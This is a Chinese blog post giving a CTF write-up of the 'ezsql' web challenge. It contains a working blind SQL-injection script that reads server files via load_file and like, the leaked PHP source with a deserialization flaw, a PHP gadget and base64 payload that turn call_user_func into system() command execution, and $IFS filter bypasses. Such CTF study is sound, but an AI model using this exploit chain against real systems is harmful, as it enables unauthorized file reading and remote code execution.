• 安恒杯11月月赛web题目-ezsql详细记录


      通过此题目可以学习到

      1.通过load_file+like来盲注获取文件内容

      2.php魔术方法__get函数的用法

      3.bypass  linux命令过滤

      

      题目中给了注册和登录的功能,没有源码泄露

      

      先注册一个用户看下进入用户界面有什么其他的功能,此时题目中除了显示用户名和id号以外没有其他的功能,那么目的很明确,应该是sql注入题目,尝试了select,被过滤,单引号被过滤,因此尝试if条件返回正常,但是没有select意味着不能从数据库中读取信息,那么除了读取数据库中的信息,mysql也支持load_dile函数来读取任意的文件,只是这里没有单引号,所以需要我们将文件名以16进制编码的形式来表示,并且我们可以使用like来进行模糊查询来fuzzing出文件的内容的16进制表示。

       

      

      我们可以先将要读取的文件进行16进制编码表示,比如读取/var/www/html/index.php 那么脚本如下:

     1 #coding:utf-8
     2 import requests
     3 import string
     4 payload=string.printable
     5 payload=list(payload)
     6 file =""
     7 db = ""
     8 while True:
     9     n = 1
    10     end = len(payload)
    11     #print end
    12     for i in payload:
    13         req = requests.session()
    14         header = {
    15             "Cookie":"__guid=206886163.707362614897664800.1543048794439.3918;PHPSESSID=4e6p8mktq1b5p84jnndsvqv166"
    16         }
    17         exp= "if(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))like(0x{temp}25),1,2)"
    18         url = "http://101.71.29.5:10015/user/user.php?id="+exp
    19         i = i.encode("hex")
    20         url = url.format(temp=db+i)
    21         res = req.get(url=url,headers=header)
    22         #print res.status_code
    23         if "user_id:1" in res.text:
    24             print url
    25             db = db + i
    26             file = file + i.decode("hex")
    27             print file
    28             break
    29         n = n + 1
    30         if n == end:
    31             print db
    32             exit(0)

      

     

    因为又包含了config/config.php,所以利用同样的方法来读取/var/www/html/config/config.php,只需要将脚本中的load_file的参数换为这个文件的16进制编码即可,将跑出来的16进制在线解码就可以得到源码了:

     

    得到源码以后我们可以审计一下源码看看里面是否存在漏洞:

    其中的/var/www/html/config/config.php中的内容对应的 16进制为

    3C3F7068700A24636F6E666967203D20756E73657269616C697A65286261736536345F6465636F64652824636F6E66696729293B0A696628697373657428245F4745545B2770275D29297B0A2020202024703D245F4745545B2770275D3B0A2020202024636F6E6669672D3E24703B0A7D0A636C61737320436F6E6669677B0A20202020707269766174652024636F6E6669673B0A20202020707269766174652024706174683B0A202020207075626C6963202466696C7465723B0A202020207075626C69632066756E6374696F6E205F5F636F6E7374727563742824636F6E6669673D2222297B0A202020202020202024746869732D3E636F6E666967203D2024636F6E6669673B0A20202020202020206563686F203132333B0A202020207D0A202020207075626C69632066756E6374696F6E20676574436F6E66696728297B0A202020202020202069662824746869732D3E636F6E666967203D3D202222297B0A20202020202020202020202024636F6E666967203D20697373657428245F504F53545B27636F6E666967275D293F245F504F53545B27636F6E666967275D3A22223B0A20202020202020207D0A202020207D0A202020207075626C69632066756E6374696F6E2053657446696C746572282476616C7565297B0A2F2F20202020202020206563686F202476616C75653B0A092476616C75653D7761665F65786563282476616C7565293B200A20202020202020207661725F64756D70282476616C7565293B0A0969662824746869732D3E66696C746572297B0A202020202020202020202020666F72656163682824746869732D3E66696C746572206173202466696C746572297B0A0A202020202020202020202020202020200A20202020202020202020202020202020246172726179203D2069735F6172726179282476616C7565293F61727261795F6D6170282466696C7465722C2476616C7565293A63616C6C5F757365725F66756E63282466696C7465722C2476616C7565293B0A2020202020202020202020207D0A20202020202020202020202024746869732D3E66696C746572203D20617272617928293B0A20202020202020207D656C73657B0A20202020202020202020202072657475726E2066616C73653B0A20202020202020207D0A202020202020202072657475726E20747275653B0A202020207D0A202020207075626C6963206674696F6E205F5F67657428246B6579297B0A20202020202020202F2F7661725F64756D7028246B6579293B0A0924746869732D3E53657446696C74657228246B6579293B0A2020202020202020646965282222293B0A202020207D0A7D0A

    在线解码可得源码

     

    完整代码如下:

     1 <?php
     2 $config = unserialize(base64_decode($config));
     3 if(isset($_GET['p'])){
     4     $p=$_GET['p'];
     5     $config->$p;
     6 }
     7 class Config{
     8     private $config;
     9     private $path;
    10     public $filter;
    11     public function __construct($config=""){
    12         $this->config = $config;
    13         echo 123;
    14     }
    15     public function getConfig(){
    16         if($this->config == ""){
    17             $config = isset($_POST['config'])?$_POST['config']:"";
    18         }
    19     }
    20     public function SetFilter($value){
    21 //        echo $value;
    22         $value=waf_exec($value); 
    23         var_dump($value);
    24         if($this->filter){
    25             foreach($this->filter as $filter){
    26                 $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
    27             }
    28             $this->filter = array();
    29         }else{
    30             return false;
    31         }
    32         return true;
    33     }
    34     public function __get($key){
    35         //var_dump($key);
    36     $this->SetFilter($key);
    37         die("");
    38     }
    39 }
    40 
    41 ?>

     分析一下这一段代码,首先因为index.php中Cookie变量中的CONFIG变量是我们可以控制的,那么跟踪CONFIG变量,可以发现执行了解序列化的操作,那么并且还存在可以控制的$p变量,并且在解序列化了以后会访问$p变量对应的属性,这个属性是任意的。

    又因为在代码中定义了__get()魔术函数,这个函数的作用如下:

    可以看到__get方法将可以用来访问私有成员属性,并且当我们访问一个不存在的属性的时候也将调用这个__get函数,所以这里是关键点,那么我们可以传给$p变量任何值,都会触发__get()函数

    在__get函数中,又将会对传入的属性名字调用set_filter函数,跟踪一下,首先会对该$p值进行一个过滤,然后判断属性属性fliter是否存在,若存在将遍历filter变量,如果$p值为数组则调用array_map函数,否则调用call_user_func函数,这两个函数都能够调用我们逍遥调用的任意的函数,即存在RCE,我们可以控制$filter的值为命令执行的函数,可以控制$p值为想要执行的命令,就可以执行任意命令了。

    所以我们执行如下payload:

     1 <?php
     2 class Config{
     3     private $config;
     4     private $path;
     5     public $filter;
     6     public function __construct($config=""){
     7         $this->config = $config;
     8     }
     9     public function getConfig(){
    10         if($this->config == ""){
    11             $config = isset($_POST['config'])?$_POST['config']:"";
    12         }
    13     }
    14     public function SetFilter($value){
    15 //        echo $value;
    16         $value=waf_exec($value); 
    17         var_dump($value);
    18         if($this->filter){
    19             foreach($this->filter as $filter){
    20                 $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
    21             }
    22             $this->filter = array();
    23         }else{
    24             return false;
    25         }
    26         return true;
    27     }
    28     public function __get($key){
    29         //var_dump($key);
    30     $this->SetFilter($key);
    31         die("");
    32     }
    33 }
    34 $tr1ple = new Config();
    35 $tr1ple->filter = array('system');
    36 echo base64_encode(serialize($tr1ple));
    37 ?>

    通过实例化Config类,并且给filter赋值为我们想要执行的函数,输出得到,并在burp中将其赋值给Cookie中的CONFIG变量即可:

    Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

    此时可以看到当前目录下存在flag2333文件,在尝试cat,ls *后发现cat被过滤了,空格也被过滤了,那么可以使用$IFS来替代空格,此时可以看到flag.php在flag2333文件夹下面

    ls$../以后发现/也被过滤了,那么就没有办法进入到flag2333文件夹了,那么如何得到flag,可以使用grep -ir “flag” *

     

    *表示当前目录,也就是我们的html目录下的所有文件,我们匹配flag字符串,即可获得flag。

  • 相关阅读:
    nginx日志格式字段
    set_include_path和get_include_path用法详解
    nginx try_files 详解
    ul ol li的序号编号样式
    PHP中报500错误时如何查看错误信息
    nginx的access.log文件详解
    一些常用服务命令和配置目录
    PHP 使用 Redis
    HTML5-indexedDB使用常见错误总结
    浏览器数据库 IndexedDB 入门
  • 原文地址:https://www.cnblogs.com/tr1ple/p/10039161.html
Copyright © 2020-2023  润新知